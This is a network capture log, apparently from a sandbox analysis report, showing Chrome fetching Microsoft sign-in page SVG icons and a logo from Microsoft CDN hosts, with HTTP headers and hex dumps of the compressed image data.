2024-05-07 14:12:50 UTC	2407	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 ed 59 3d 73 dd 38 12 cc af ea fe 03 eb 6d 72 17 88 02 66 f0 79 b5 ba e0 98 38 a0 52 05 ca ec 95 6c ab 4e 6b bb 6c af b5 3f ff ba 07 e0 7b 24 94 6c 7c 65 27 7a 4d 02 33 c3 c1 a0 a7 01 ff fa ed c7 87 e9 e5 e9 e1 fb c7 9b 53 28 a7 e9 e3 e3 d3 87 8f df db ef 1f 4f 8f 2f ff f9 fc e7 cd c9 4d 6e 0a 65 e2 b3 f7 4f cf cf 37 a7 4f 9f 3f 3d 9e a6 3f 7f 7f fe f4 ed e6 f4 f1 fb f7 2f ff ba be 7e 79 79 99 5f 74 fe fc f5 c3 b5 38 e7 ae 61 f8 f4 ef bf ff ed d7 df df 7e fb ef f4 f4 00 2b f9 9d 24 a7 e1 2a a6 b7 7a 15 ea 83 5c 95 f7 92 ae 7e cb ef 4a 78 7c 17 1e 1f 1f c2 e6 e0 97 f7 f6 cf 0c 7c 79 fb fd a3 3d be fa fa c7 f3 e3 cd e9 f1 c7 e3 a7 cf 0f 0f a7 e9 b7 e7 a7 2f e3 33 f8 b9 15 9d 6b 4e 32 b9 c5 a7 b9 48 08 08 df 3b 3c 73 79 8a b3 04 Data Ascii: Y=s8mrfy8RlNkl?{$l\|e'zM3S(O/MneO7O?=?/~yy_t8a~+$*z\~Jx\|\|y=/3kN2H;<sy

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.8	49773	13.107.213.40	443	6856	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 14:12:50 UTC	622	OUT	GET /shared/1.0/content/images/picker_account_aad_a8332c62695d74843a11daf39a74e552.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 14:12:50 UTC	799	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 14:12:50 GMT Content-Type: image/svg+xml Content-Length: 628 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 24 May 2023 10:11:48 GMT ETag: 0x8DB5C3F4963155C x-ms-request-id: ebd3cb3d-e01e-0044-49b6-9f9a87000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240507T141250Z-1587864896bdqkfpnn9x76zvxc00000002g000000000dkv1 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-05-07 14:12:50 UTC	628	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 6d 94 4d 6f db 30 0c 86 ff 8a e1 5d 25 46 d4 97 a5 36 09 90 9d 72 58 af 3b f4 e6 26 69 1d c0 5d 8b 26 48 5a 0c fd ef 23 25 ba cb d6 42 f1 e3 98 34 c5 57 24 93 f9 e1 f4 d0 bc 3e 8e bf 0e 8b 76 38 1e 9f af 66 b3 f3 f9 0c 67 07 4f 2f 0f 33 6b 8c 99 d1 1b 6d 73 de 6f 8f c3 a2 f5 a9 6d 86 dd fe 61 38 d6 ef a7 fd ee fc fd e9 75 d1 9a c6 34 3e d1 a7 5d ce b7 bb fb c3 72 7e 38 be 8d bb 25 f4 bf ef f7 e3 78 f5 6d 17 79 5d bf c3 9d 18 bc e1 75 fd 3e 9f d5 37 e7 b3 1a b7 d9 bf 6c c6 5d b3 19 fb 03 69 ea db 66 43 db 5b 4f f7 b7 7a 7f 29 b7 d9 72 fe dc 1f 87 e9 bd bb b6 d9 2e da 1b 67 21 28 f4 2b 04 9f ad aa 34 b4 50 39 af 30 40 f8 e9 12 84 e2 f6 aa 52 dc 1c e8 cd a0 b1 fb c2 8b 5e 71 dc 49 5b f7 95 37 94 a4 83 87 d4 b9 51 3b 1d 07 0b 36 Data Ascii: mMo0]%F6rX;&i]&HZ#%B4W$>v8fgO/3kmsoma8u4>]r~8%xmy]u>7l]ifC[Oz)r.g!(+4P90@R^qI[7Q;6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.8	49769	13.107.213.40	443	6856	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 14:12:50 UTC	615	OUT	GET /shared/1.0/content/images/picker_more_ef457519e32834a8087669d5a08bb5fb.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 14:12:50 UTC	805	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 14:12:50 GMT Content-Type: image/svg+xml Content-Length: 257 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 24 May 2023 10:11:48 GMT ETag: 0x8DB5C3F496426B6 x-ms-request-id: 67475d62-d01e-0027-2659-a0a5a3000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240507T141250Z-1587864896b9lgq59m0kwpcr880000000090000000006cvw x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-05-07 14:12:50 UTC	257	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 dd 53 41 6e c3 20 10 fc 0a e2 8c 61 a9 31 98 0a 5b 4a ef fd 40 6f 96 62 19 4b 49 13 15 14 f2 fc 40 c0 97 e2 f6 d8 43 05 8c 16 96 61 77 46 c2 b8 db 82 ee e7 d3 a7 1b b0 f5 fe fa ca 58 08 81 86 96 5e be 16 f6 02 00 2c de c0 28 ac 47 6f 07 cc 25 46 76 5e 17 eb 73 7c 5b e7 f0 76 b9 0f 18 10 20 2e e3 c4 a3 f1 ab 3f cd e3 e4 dc ec 9d 61 79 67 ae 93 b7 e8 38 e0 77 4d b9 68 09 4f 38 45 04 45 32 42 1c bc a1 d0 6b 2a 84 4c 87 52 14 2c 29 09 2a ad e7 21 2f 58 52 bd 6e 53 b0 cb 69 36 d2 4e a9 26 d5 3a 54 39 22 a9 16 92 aa fa 45 a2 68 d7 89 44 9d aa 36 48 6e e3 50 93 34 85 48 52 b5 5e b2 e9 2d b6 f4 7f 6c c9 37 01 90 69 b5 80 df 48 3f 55 22 5b 77 3b fe 16 b5 67 88 4e f7 dd 8e 31 ff 58 35 17 49 f2 07 66 a3 49 7f 6b 7c 00 b2 17 a8 e1 83 03 Data Ascii: SAn a1[J@obKI@CawFX^,(Go%Fv^s\|[v .?ayg8wMhO8EE2BkLR,)!/XRnSi6N&:T9"EhD6HnP4HR^-l7iH?U"[w;gN1X5IfIk\|

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.8	49776	13.107.213.40	443	6856	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 14:12:51 UTC	622	OUT	GET /shared/1.0/content/images/picker_account_add_77a852ed38516108ced087b72b525d25.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 14:12:51 UTC	785	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 14:12:51 GMT Content-Type: image/svg+xml Content-Length: 184 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 24 May 2023 10:11:48 GMT ETag: 0x8DB5C3F4968932E x-ms-request-id: 3405830f-e01e-0068-5e88-a0ffad000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240507T141251Z-17455988649l7m97gu87z1hn9800000005c0000000002rv2 x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-05-07 14:12:51 UTC	184	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 3d 4e c1 0a 83 30 14 fb 95 f2 76 1d b6 be 56 91 d1 7a d8 c9 cb ae 1e 76 13 ed 6c a1 9b 62 8b 75 7f bf 16 61 24 90 bc 10 c2 93 7e 9f c9 f1 76 1f af c0 84 b0 de 28 8d 31 16 91 17 cb 36 53 64 8c d1 d4 00 12 ed 14 8c 02 d1 00 31 da ce 26 9c 7e b7 3a de 97 43 01 23 8c 88 26 11 5a 19 6c 70 ba 1d bc d7 c1 4b 7a 5e 72 b4 db e8 34 19 53 17 05 90 f1 7b ea 76 ca cb 3a a7 e0 a2 eb 0c a0 ad 5c 87 60 c8 a4 e0 81 d5 15 79 c7 eb 1d 3b ac 7a 5e 77 c8 7b ac ba 12 fb 14 27 5f a2 c1 e7 7f 40 b0 8c 3c 90 df 6e 7f 0b 72 d3 37 de 00 00 00 Data Ascii: =N0vVzvlbua$~v(16Sd1&~:C#&ZlpKz^r4S{v:\`y;z^w{'_@<nr7

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.8	49777	152.199.4.44	443	6856	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 14:12:51 UTC	420	OUT	GET /shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 14:12:51 UTC	737	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 3739896 Cache-Control: public, max-age=31536000 Content-MD5: nzaLxFgP7ZB3dfMcaybWzw== Content-Type: image/svg+xml Date: Tue, 07 May 2024 14:12:51 GMT Etag: 0x8D79A1B9F5E121A Last-Modified: Thu, 16 Jan 2020 00:32:52 GMT Server: ECAcc (nya/797F) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 01a4233f-a01e-0015-2185-7e6d0e000000 x-ms-version: 2009-09-19 Content-Length: 3651 Connection: close
2024-05-07 14:12:51 UTC	3651	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 30 38 22 20 68 65 69 67 68 74 3d 22 32 34 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 30 38 20 32 34 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 70 61 74 68 20 64 3d 22 4d 34 34 2e 38 33 36 2c 34 2e 36 56 31 38 2e 34 68 2d 32 2e 34 56 37 2e 35 38 33 48 34 32 2e 34 4c 33 38 2e 31 31 39 2c 31 38 2e 34 48 33 36 2e 35 33 31 4c 33 32 2e 31 34 32 2c 37 2e 35 38 33 68 2d 2e 30 32 39 56 31 38 2e 34 48 32 39 2e 39 56 34 2e 36 68 33 2e 34 33 36 4c 33 37 2e 33 2c 31 34 2e 38 33 68 2e 30 35 38 4c 34 31 2e 35 34 35 2c 34 2e 36 5a 6d 32 2c 31 2e 30 34 39 61 31 2e 32 36 38 2c 31 2e 32 36 38 2c 30 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.268,0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.8	49778	13.107.213.40	443	6856	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 14:12:51 UTC	438	OUT	GET /shared/1.0/content/images/picker_verify_fluent_authenticator_59892f1e05e3adf9fd2f71b42d92a27f.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 14:12:51 UTC	800	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 14:12:51 GMT Content-Type: image/svg+xml Content-Length: 2407 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 24 May 2023 10:11:49 GMT ETag: 0x8DB5C3F499A9B99 x-ms-request-id: 3106d3b9-d01e-0027-1ea7-9fa5a3000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240507T141251Z-17455988649gmk46t0276gdrq800000008r00000000000m8 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-05-07 14:12:51 UTC	2407	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 ed 59 3d 73 dd 38 12 cc af ea fe 03 eb 6d 72 17 88 02 66 f0 79 b5 ba e0 98 38 a0 52 05 ca ec 95 6c ab 4e 6b bb 6c af b5 3f ff ba 07 e0 7b 24 94 6c 7c 65 27 7a 4d 02 33 c3 c1 a0 a7 01 ff fa ed c7 87 e9 e5 e9 e1 fb c7 9b 53 28 a7 e9 e3 e3 d3 87 8f df db ef 1f 4f 8f 2f ff f9 fc e7 cd c9 4d 6e 0a 65 e2 b3 f7 4f cf cf 37 a7 4f 9f 3f 3d 9e a6 3f 7f 7f fe f4 ed e6 f4 f1 fb f7 2f ff ba be 7e 79 79 99 5f 74 fe fc f5 c3 b5 38 e7 ae 61 f8 f4 ef bf ff ed d7 df df 7e fb ef f4 f4 00 2b f9 9d 24 a7 e1 2a a6 b7 7a 15 ea 83 5c 95 f7 92 ae 7e cb ef 4a 78 7c 17 1e 1f 1f c2 e6 e0 97 f7 f6 cf 0c 7c 79 fb fd a3 3d be fa fa c7 f3 e3 cd e9 f1 c7 e3 a7 cf 0f 0f a7 e9 b7 e7 a7 2f e3 33 f8 b9 15 9d 6b 4e 32 b9 c5 a7 b9 48 08 08 df 3b 3c 73 79 8a b3 04 Data Ascii: Y=s8mrfy8RlNkl?{$l\|e'zM3S(O/MneO7O?=?/~yy_t8a~+$*z\~Jx\|\|y=/3kN2H;<sy

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.8	49780	13.107.213.40	443	6856	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 14:12:51 UTC	421	OUT	GET /shared/1.0/content/images/picker_verify_sms_12b7d768ba76f2e782cc74e328171091.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 14:12:51 UTC	778	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 14:12:51 GMT Content-Type: image/svg+xml Content-Length: 199 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 24 May 2023 10:11:49 GMT ETag: 0x8DB5C3F49C21D98 x-ms-request-id: 802fefc1-101e-0007-4348-a03490000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240507T141251Z-1587864896bcj29pyq0hkyn2f800000001x000000000ngef x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-05-07 14:12:51 UTC	199	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 75 8f bd ae c2 30 0c 85 5f 25 32 6b d5 38 3f 88 80 92 0e 77 ea 00 6b 87 bb 21 08 4d a4 d2 22 62 35 3c fe 4d 2e 62 44 b6 e4 63 fb d3 b1 6c d3 3a b2 d7 7d 9a 93 83 40 f4 38 70 9e 73 6e b3 6a 97 e7 c8 25 22 f2 42 00 cb f1 4a c1 81 36 c0 82 8f 63 a0 b7 5e a3 cf 3f cb cb 01 32 64 da 94 84 ce 52 a4 c9 77 e7 94 3c 25 cb df 9d 7d fa 0b 7d 73 b9 c5 69 72 30 2f b3 07 de d9 c7 99 02 bb 3a 38 29 d3 28 1c 84 ec 05 0e 0a 83 5e 75 bb dd 99 a3 30 b5 94 55 af cc 49 c8 46 c9 de 0c 02 7b 5d a8 c2 ee 5b 2d e5 b1 ce ff d5 ef c7 7e a3 b1 46 bd 50 5f ea fe 00 a3 0d 47 ef fa 00 00 00 Data Ascii: u0_%2k8?wk!M"b5<M.bDcl:}@8psnj%"BJ6c^?2dRw<%}}sir0/:8)(^u0UIF{][-~FP_G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.8	49781	13.107.213.40	443	6856	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 14:12:51 UTC	422	OUT	GET /shared/1.0/content/images/picker_account_aad_a8332c62695d74843a11daf39a74e552.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 14:12:51 UTC	805	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 14:12:51 GMT Content-Type: image/svg+xml Content-Length: 628 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 24 May 2023 10:11:48 GMT ETag: 0x8DB5C3F4963155C x-ms-request-id: b8ef6220-001e-0066-61a3-9f5db0000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240507T141251Z-17455988649r5mjw86g05twgs000000008mg000000004vkc x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-05-07 14:12:51 UTC	628	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 6d 94 4d 6f db 30 0c 86 ff 8a e1 5d 25 46 d4 97 a5 36 09 90 9d 72 58 af 3b f4 e6 26 69 1d c0 5d 8b 26 48 5a 0c fd ef 23 25 ba cb d6 42 f1 e3 98 34 c5 57 24 93 f9 e1 f4 d0 bc 3e 8e bf 0e 8b 76 38 1e 9f af 66 b3 f3 f9 0c 67 07 4f 2f 0f 33 6b 8c 99 d1 1b 6d 73 de 6f 8f c3 a2 f5 a9 6d 86 dd fe 61 38 d6 ef a7 fd ee fc fd e9 75 d1 9a c6 34 3e d1 a7 5d ce b7 bb fb c3 72 7e 38 be 8d bb 25 f4 bf ef f7 e3 78 f5 6d 17 79 5d bf c3 9d 18 bc e1 75 fd 3e 9f d5 37 e7 b3 1a b7 d9 bf 6c c6 5d b3 19 fb 03 69 ea db 66 43 db 5b 4f f7 b7 7a 7f 29 b7 d9 72 fe dc 1f 87 e9 bd bb b6 d9 2e da 1b 67 21 28 f4 2b 04 9f ad aa 34 b4 50 39 af 30 40 f8 e9 12 84 e2 f6 aa 52 dc 1c e8 cd a0 b1 fb c2 8b 5e 71 dc 49 5b f7 95 37 94 a4 83 87 d4 b9 51 3b 1d 07 0b 36 Data Ascii: mMo0]%F6rX;&i]&HZ#%B4W$>v8fgO/3kmsoma8u4>]r~8%xmy]u>7l]ifC[Oz)r.g!(+4P90@R^qI[7Q;6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.8	49782	13.107.213.40	443	6856	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 14:12:51 UTC	415	OUT	GET /shared/1.0/content/images/picker_more_ef457519e32834a8087669d5a08bb5fb.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 14:12:51 UTC	805	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 14:12:51 GMT Content-Type: image/svg+xml Content-Length: 257 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 24 May 2023 10:11:48 GMT ETag: 0x8DB5C3F496426B6 x-ms-request-id: 67475d62-d01e-0027-2659-a0a5a3000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240507T141251Z-1587864896bkk25f0x3nerw4fw000000024g00000000cyhx x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-05-07 14:12:51 UTC	257	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 dd 53 41 6e c3 20 10 fc 0a e2 8c 61 a9 31 98 0a 5b 4a ef fd 40 6f 96 62 19 4b 49 13 15 14 f2 fc 40 c0 97 e2 f6 d8 43 05 8c 16 96 61 77 46 c2 b8 db 82 ee e7 d3 a7 1b b0 f5 fe fa ca 58 08 81 86 96 5e be 16 f6 02 00 2c de c0 28 ac 47 6f 07 cc 25 46 76 5e 17 eb 73 7c 5b e7 f0 76 b9 0f 18 10 20 2e e3 c4 a3 f1 ab 3f cd e3 e4 dc ec 9d 61 79 67 ae 93 b7 e8 38 e0 77 4d b9 68 09 4f 38 45 04 45 32 42 1c bc a1 d0 6b 2a 84 4c 87 52 14 2c 29 09 2a ad e7 21 2f 58 52 bd 6e 53 b0 cb 69 36 d2 4e a9 26 d5 3a 54 39 22 a9 16 92 aa fa 45 a2 68 d7 89 44 9d aa 36 48 6e e3 50 93 34 85 48 52 b5 5e b2 e9 2d b6 f4 7f 6c c9 37 01 90 69 b5 80 df 48 3f 55 22 5b 77 3b fe 16 b5 67 88 4e f7 dd 8e 31 ff 58 35 17 49 f2 07 66 a3 49 7f 6b 7c 00 b2 17 a8 e1 83 03 Data Ascii: SAn a1[J@obKI@CawFX^,(Go%Fv^s\|[v .?ayg8wMhO8EE2BkLR,)!/XRnSi6N&:T9"EhD6HnP4HR^-l7iH?U"[w;gN1X5IfIk\|

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.8	49779	13.107.213.40	443	6856	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 14:12:51 UTC	422	OUT	GET /shared/1.0/content/images/picker_verify_code_b41922ebdaebec16b19999fc6054a15a.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 14:12:51 UTC	799	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 14:12:51 GMT Content-Type: image/svg+xml Content-Length: 790 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 24 May 2023 10:11:48 GMT ETag: 0x8DB5C3F4987D872 x-ms-request-id: 0003a2ec-501e-0057-7e7b-a057a3000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240507T141251Z-1587864896bnzpcfnc30r4vryn00000004sg00000000pq8v x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-05-07 14:12:51 UTC	790	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 75 55 4b 8f 1a 31 0c fe 2b 68 7a 9d 31 b1 f3 ae 00 a9 3d 71 d9 2b 87 de 50 97 32 48 ec 83 65 04 fb f3 fb 39 c9 b0 bd 54 6c 3e 4c ec 38 7e 7c ce ae ae b7 e3 e2 f3 e5 fc 7a 5d 77 e3 34 bd 7f 5f 2e ef f7 3b dd 2d bd 7d 1c 97 62 8c 59 c2 a2 5b dc 4f cf d3 b8 ee 5c ea 16 e3 e1 74 1c a7 2a df 4e 87 fb cf b7 cf 75 67 16 66 e1 12 fe ba cd 6a 3a 4d e7 c3 66 7f bd 1e a6 eb 6a 59 7f ad 3e 0e bf a7 ff 79 f9 73 3a 9f d7 dd eb db eb a1 5b 6e 56 ef fb 69 5c 3c af bb 27 9b 7a 76 5b 36 3b eb b6 36 ed d8 bd 48 2f b2 85 24 5b 87 dd f0 c4 91 42 82 55 a2 b4 13 80 a4 2d 7b f2 96 77 c2 24 d6 ed 2d 49 af cb e0 c3 03 85 28 e4 ec 79 20 09 81 98 e3 5e c8 fb be 40 b3 f0 41 88 e1 12 76 62 1b 36 95 25 13 2f 03 b1 63 32 62 e1 23 41 f0 7e 27 46 dd 5d 60 2a Data Ascii: uUK1+hz1=q+P2He9Tl>L8~\|z]w4_.;-}bY[O\tNugfj:MfjY>ys:[nVi\<'zv[6;6H/$[BU-{w$-I(y ^@Avb6%/c2b#A~'F]`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
